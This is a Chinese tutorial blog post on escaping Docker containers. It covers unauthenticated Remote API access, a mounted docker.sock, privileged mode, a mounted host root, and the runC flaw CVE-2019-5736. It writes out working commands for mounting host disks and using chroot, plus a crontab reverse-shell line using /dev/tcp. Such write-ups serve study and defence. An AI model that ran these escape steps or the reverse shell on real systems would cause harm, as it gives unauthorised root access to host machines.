Docker逃逸

信息安全学习·网安·生命在于学习 · 2022-07-13 · 80 人浏览
Docker逃逸

在这里插入图片描述
注意:本篇文章仅用于学习记录,不得用于其他用途。

一、docker逃逸

docker逃逸就是从当前docker容器权限中逃逸出来,获得宿主机的权限。

二、常见的逃逸方法

1、配置不当引起的逃逸

(1)Docker Remote API未授权访问

(2)docker.sock挂载到容器内部

(3)privileged特权模式启动docker

(4)挂载敏感目录(如:宿主机根目录)

2、Docker软件设计引起的逃逸(漏洞)

(1)runC容器逃逸漏洞(CVE-2019-5736)

(2)Docker cp命令(CVE-2019-14271)

3、内核漏洞引起的逃逸

脏牛漏洞,实战遇到的也不多,逃逸的原理是宿主机的内核有脏牛提权漏洞,docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。

##        4、如何判断是宿主机还是docker容器
###        (1)检查根目录下./dockerenv文件是否存在
ls -la ./dockerenv
###        (2)检查/proc/1/cgroup内是否包含"docker"等字符串
cat /proc/1/cgroup
###        (3)其他特征
容器ip大多是172.17段,而且很多常见的命令缺失。
#        三、配置不当引起的逃逸
##        1、Docker Remote API未授权访问
==先看一眼Docker Remote API是否存在未授权,2375端口是否开放。==
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可以直接调用API来操作docker。

列出容器信息,效果与docker ps一致
curl http://:2375/containers/json


**环境准备**
![在这里插入图片描述](https://img.anheng.tech/20231219135907_MMTiB5_8e878280.png)
**漏洞原理**
在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上
利用思路:通过挂在宿主机的目录,写定时任务获取shell,从而逃逸。
**漏洞利用**

![在这里插入图片描述](https://img.anheng.tech/20231219135908_IahMVz_54cc12be.png)

##        2、挂载Docker.sock

指的是容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。
/var/run/docker.sock是Docker守护程序默认监听的Unix套接字,它也是一个用于从容器内与Docker守护进程通信的工具。
**实验环境准备**

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04


随后在docker容器中安装docker

ubuntu 18.04 安装docker

apt-get update

安装依赖包

apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

添加 Docker 的官方 GPG 密钥

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

验证您现在是否拥有带有指纹的密钥

apt-key fingerprint 0EBFCD88

设置稳定版仓库

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

更新

apt-get update

安装最新的Docker-ce

apt-get install docker-ce

启动

systemctl enable docker systemctl start docker


安装完成后我们使用docker ps就可以看到宿主机上的容器了。
**漏洞利用**
将宿主机的根目录之间挂载到容器中的容器。

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju


##        3、Docker特权容器逃逸

实战中要先看一下是不是特权容器。
docker中存在一些比较高危的启动命苦,基于容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。
**利用原理**
特权容器可以直接在容器内挂载整个宿主机的磁盘,通过计划任务反弹宿主机的shell,进而实现了容器逃逸。
**漏洞复现**
通过特权模式运行一个容器。

docker run -it --privileged ubuntu:18.04


查看当前容器是否是特权容器

cat /proc/1/status | grep Cap
如果查询出来的值是00000003ffffffff,那么可以说明当前容器是特权容器。


在容器内,查看磁盘文件

fdisk -l


可以直接挂载宿主机的磁盘

mkdir ysz
mount /dev/sda5 ysz/
chroot /ysz


查看宿主机的etc/passwd

cat /etc/passwd


写计划任务反弹shell
![在这里插入图片描述](https://img.anheng.tech/20231219135910_KLrhXy_8ce21a68.png)

##        4、挂载宿主根目录

**环境准备**
docker run -it -v /:/11111/ubuntu:18.04
**漏洞利用**
还是一样可以通过crontab反弹shell
chroot uzju
uzju是对应容器的目录。
crontab -e
*****/bin/bash -i >& /dev/tcp/ip/port 0>&1

#        四、CVE-2019-5736

需要管理员再次手动进入容器触发。
**漏洞原理**
漏洞点在于runC,runC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,作为低级别容器运行时,runC主要由高级别容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具,像docker这样高级别容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器,将进程附加到现有容器等。
==在Docker18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。
**影响版本**
docker version <= 18.09.2
runc version <= 1.0-rc6
**环境搭建**
ubuntu18.04

sudo su
apt update
apt install lrzsz
apt install curl
apt install openssh-server
service sshd status


![在这里插入图片描述](https://img.anheng.tech/20231219135910_A0Agoc_12044525.png)
**漏洞复现**
exp
![在这里插入图片描述](https://img.anheng.tech/20231219135911_xhOuYh_ee98def9.png)

![在这里插入图片描述](https://img.anheng.tech/20231219135912_j9sU9E_fcf10e69.png)
![在这里插入图片描述](https://img.anheng.tech/20231219135913_WoIsAK_25487f65.png)
![在这里插入图片描述](https://img.anheng.tech/20231219135914_vlhdg9_4a7843ea.png)
**编译**
set GOARCH=amd64
set GOOS=linux
go build main.go
**将编译好的main文件上传至docker容器**
使用wget命令。
**在docker容器中运行文件。**
![在这里插入图片描述](https://img.anheng.tech/20231219135914_fUvyU9_8c472234.png)
接收反弹的shell,可以发现是宿主机。
**解决方案:**
盛极docker到最新的版本。
==这个方法逃逸后,动静大,容器坏了,进不去也结束不了。==

#        五、总结

##        1、docker remote api未授权访问,使用api创建一个挂在了宿主机根目录的容器,实现逃逸。

##        2、如果当前容器挂载了/var/run/docker.sock,可以在容器里面安装docker,拉取镜像,创建容器,然后挂载宿主机的根目录。

##        3、如果容器是使用特权创建的,即创建的时候使用了--privileged参数,可以直接挂载宿主的磁盘到容器中,进而实现逃逸。

##        4、如果容器挂载了宿主机根目录,直接使用chroot切换到宿主机的shell,进而实现逃逸。
docker
Theme Jasmine by Kent Liao 京ICP备2023023335号-2京公网安备11010802044340号